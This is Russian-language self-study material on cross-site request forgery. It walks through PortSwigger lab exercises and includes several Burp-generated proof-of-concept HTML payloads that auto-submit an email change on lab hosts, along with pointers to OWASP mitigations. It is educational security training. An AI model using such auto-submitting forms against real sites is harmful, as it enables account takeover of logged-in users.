## Материал для самостоятельного изучения
Содержание:
1. Примеры уязвимого кода
2. Примеры атак и уязвимых приложений
## Примеры уязвимого кода
Уязвимость требует от атакующего выполнять следующие условия:
- Доставка эксплойта через уязвимость html injection/XSS (желательно)
- Пользователь должен иметь валидный идентификатор сессии в браузере
Визуально данные в исходном коде выделяться не будут, обычно целью таких атак становятся те части приложения, которые управляют критичной работой приложения:
1. Удаление данных
2. Конфигурация учетной записи
3. Любой функционал, который даёт возможность менять состояние системы и раскрывать данные
Митигации уязвимости дожны применяться совместно с разюьением функционала приложения по критичности использования. Митигации можно найти в презентации занятия в сжатом виде. Развернуто митигации описаны [тут](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html).
## Примеры атак и уязвимых приложений
Задача всех вариантов атак - подготовка данных, которые необходимо предоставить приложению для выполнения действия. Атакующий доолжен так сформировать набор данных, чтобы пользлователь мог только открыть страницу с уязвимостью и браузер автоматически выполнил все действия.
Обычно берут для таких задач кусок кода френтенда, который используется в качестве интерфейса со стороны пользователя и прописывают значения по-умолчанию. Автоматизация отправки запросов при этом осуществляется через Javascrpit.
Так же существует возможность автоматической генерации отправки запросов. Генерация возможна с использованием burp Professional:

Варианты тестовых данных:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a2d009004f8218ac086389800e10085.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Вариант №2 - испоьзуется только для последних версий браузеров
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/0a2d009004f8218ac086389800e10085.web-security-academy.net\/my-account\/change-email", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "email=test%40test.com";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
```
Проблема всех кодов полезной нагрузки - SOP и SameSite Cookie флаги. Первую обходят через использования отправки формы и автоматического прокликивания через JS, второе только по уязвимым параметрам. Если не используются Strict значение.
Автоматизировать поиск проблем можно через плагин CSRF Scanner. В нем есть возможность в фоне производить сканирование уязвимых запросов. Для конфигурации запросов создается отдельная вкладка:

Для работы расширения нужно прописать Scope. После этого рядом с доменом на вкладке Target будут появляться сообщения об используемом токене.

#### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method
Вариант уязвимого приложения, которое не содержит проверки токена для отправки данных с формы. При этом алгоритм принимает несколько методов.
С помощью плагина или через engagment tools можно локализовать все запросы с CSRF токеном и начать тест.
В уязвимом приложении такой зарос 1:

Поменяем метод:

Сгенерируем полезную нагрузку, не забудьте проставить опцию `Include auto-submit script`:
тиоговые данные для проведения атаки:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0aa30042045235e0c0e9e23100e6005b.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
#### Уязвимое приложение находится по адресу:
https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present
Приложение не отслеживает, что токен был убран из параметров. Последовательность теста дальше происходит по тому же сценарию. Для эксплуатации уязвимости можно использовать тот жe payload, что и в прошлом задании, но с методом POST:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a10009c04b79178c0ef115e003500bb.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### Полезные ссылки
- https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection